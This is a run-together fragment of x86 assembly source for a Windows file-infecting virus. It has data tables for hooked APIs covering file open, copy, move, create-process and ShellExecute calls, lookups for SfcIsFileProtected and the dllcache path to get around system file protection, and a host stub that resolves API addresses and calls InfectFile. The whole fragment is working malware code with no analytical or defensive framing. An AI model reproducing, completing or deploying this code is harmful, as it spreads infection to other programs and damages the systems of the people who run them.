VIRAPIDEF 'OpenFileMappingA' VIRAPIDEF 'VirtualAlloc' VIRAPIDEF 'GetTickCount' VIRAPIDEF 'WideCharToMultiByte' VIRAPIDEF 'WaitForSingleObject' VIRAPIDEF 'FindClose' VIRAPIDEF 'CreateEventA' VIRAPIDEF 'SetEvent' VIRAPIDEF 'CreateThread' VIRAPIDEF 'FindNextFileA' VIRAPIDEF 'MultiByteToWideChar' db 0 SfcAPIName: db 'sfc' VIRAPIDEF 'SfcIsFileProtected' db 0 User32APIName: db 'user32' VIRAPIDEF 'SendMessageA' VIRAPIDEF 'GetParent' db 0 ComDlg32APIName: db 'comdlg32' VIRAPIDEF 'GetOpenFileNameA' VIRAPIDEF 'GetOpenFileNameW' VIRAPIDEF 'GetSaveFileNameA' VIRAPIDEF 'GetSaveFileNameW' db 0 Shell32APIName: db 'shell32' VIRAPIDEF 'ShellExecuteA' VIRAPIDEF 'ShellExecuteW' VIRAPIDEF 'ShellExecuteExA' VIRAPIDEF 'ShellExecuteExW' db 0 HookProcTable: dw HookGetOpenFileNameA-VirStart dw HookGetOpenFileNameW-VirStart dw HookGetSaveFileNameA-VirStart dw HookGetSaveFileNameW-VirStart dw HookShellExecuteA-VirStart dw HookShellExecuteW-VirStart dw HookShellExecuteExA-VirStart dw HookShellExecuteExW-VirStart dw HookCreateFileA-VirStart dw HookCreateFileW-VirStart dw HookCreateProcessA-VirStart dw HookCreateProcessW-VirStart dw HookFindFirstFileA-VirStart dw HookFindFirstFileW-VirStart dw HookCopyFileA-VirStart dw HookCopyFileW-VirStart dw HookCopyFileExA-VirStart dw HookCopyFileExW-VirStart dw HookMoveFileA-VirStart dw HookMoveFileW-VirStart dw HookMoveFileExA-VirStart dw HookMoveFileExW-VirStart dw HookGetCurrentDirectoryA-VirStart dw HookGetCurrentDirectoryW-VirStart dw HookSetCurrentDirectoryA-VirStart dw HookSetCurrentDirectoryW-VirStart dw HookGetModuleFileNameA-VirStart dw HookGetModuleFileNameW-VirStart dw HookLoadLibraryA-VirStart dw HookLoadLibraryW-VirStart HookAPITable: ComDlg32APIAddr: addrGetOpenFileNameA dd 0 addrGetOpenFileNameW dd 0 addrGetSaveFileNameA dd 0 addrGetSaveFileNameW dd 0 Shell32APIAddr: addrShellExecuteA dd 0 addrShellExecuteW dd 0 addrShellExecuteExA dd 0 addrShellExecuteExW dd 0 Kernel32APIAddr equ this dword addrCreateFileA dd 0 ;77e92b8dh addrCreateFileW dd 0 addrCreateProcessA dd 0 addrCreateProcessW dd 0 addrFindFirstFileA dd 0 addrFindFirstFileW dd 0 addrCopyFileA dd 0 addrCopyFileW dd 0 addrCopyFileExA dd 0 addrCopyFileExW dd 0 addrMoveFileA dd 0 addrMoveFileW dd 0 addrMoveFileExA dd 0 addrMoveFileExW dd 0 addrGetCurrentDirectoryA dd 0 addrGetCurrentDirectoryW dd 0 addrSetCurrentDirectoryA dd 0 addrSetCurrentDirectoryW dd 0 addrGetModuleFileNameA dd 0 addrGetModuleFileNameW dd 0 addrLoadLibraryA dd 0 addrLoadLibraryW dd 0 HookNum equ ($-HookAPITable)/4 addrSetEndOfFile dd 0 ;77e9f044h addrSetFilePointer dd 0 ;77e9ed4ch addrGetFileAttributesA dd 0 ;77e8657ah addrSetFileAttributesA dd 0 ;77e87b77h addrCloseHandle dd 0 ;77e8a6c8h addrGetFileTime dd 0 ;77e8b19ah addrSetFileTime dd 0 ;77e8a372h addrGetFileSize dd 0 ;77e88854h addrCreateFileMappingA dd 0 ;77e8d21ah addrMapViewOfFile dd 0 ;77e8d019h addrUnmapViewOfFile dd 0 ;77e95efch addrOpenFileMappingA dd 0 ;77e90ab4h addrVirtualAlloc dd 0 ;77e90ee2h addrGetTickCount dd 0 ;77e8c0a6h addrWideCharToMultiByte dd 0 addrWaitForSingleObject dd 0 addrFindClose dd 0 addrCreateEventA dd 0 addrSetEvent dd 0 addrCreateThread dd 0 addrFindNextFileA dd 0 addrMultiByteToWideChar dd 0 SfcAPIAddr: addrSfcIsFileProtected dd 12345678h User32APIAddr: addrSendMessageA dd 0 addrGetParent dd 0 VirEnd: VirSize equ $-VirStart ;Uninitialized data PathBuf db 1000 dup(?) VirVirtualSize equ $-VirStart fakeLoadLibraryA dd 77e98023h fakeGetProcAddress dd 77e9564bh dllcache db 'D:/WINNT/systeM32/dLLCache/f',0 host: mov eax,VirSize mov eax,HookNum mov edi,offset dllcache mov esi,edi call VirGetStrTail xor eax,eax call IsInDllCache mov eax,HookNum mov eax,VirSize push offset strKernel32 call LoadLibraryA mov esi,eax push offset strLoadLibraryA push esi call GetProcAddress mov [fakeLoadLibraryA],eax push offset strGetProcAddress push esi call GetProcAddress mov [fakeGetProcAddress],eax mov dword ptr [RVALoadLibraryA],offset fakeLoadLibraryA mov dword ptr [RVAGetProcAddress],offset fakeGetProcAddress mov edx,offset ImportBuildIP call GetVirAPIAddress mov dword ptr [RVALoadLibraryA],0 mov dword ptr [RVAGetProcAddress],0 call [addrGetTickCount] mov dword ptr [RandSeed],eax mov edi,offset fn call InfectFile hostreturn: push 0 push offset cap push offset msg push 0 call MessageBox push 0 call ExitProcess end host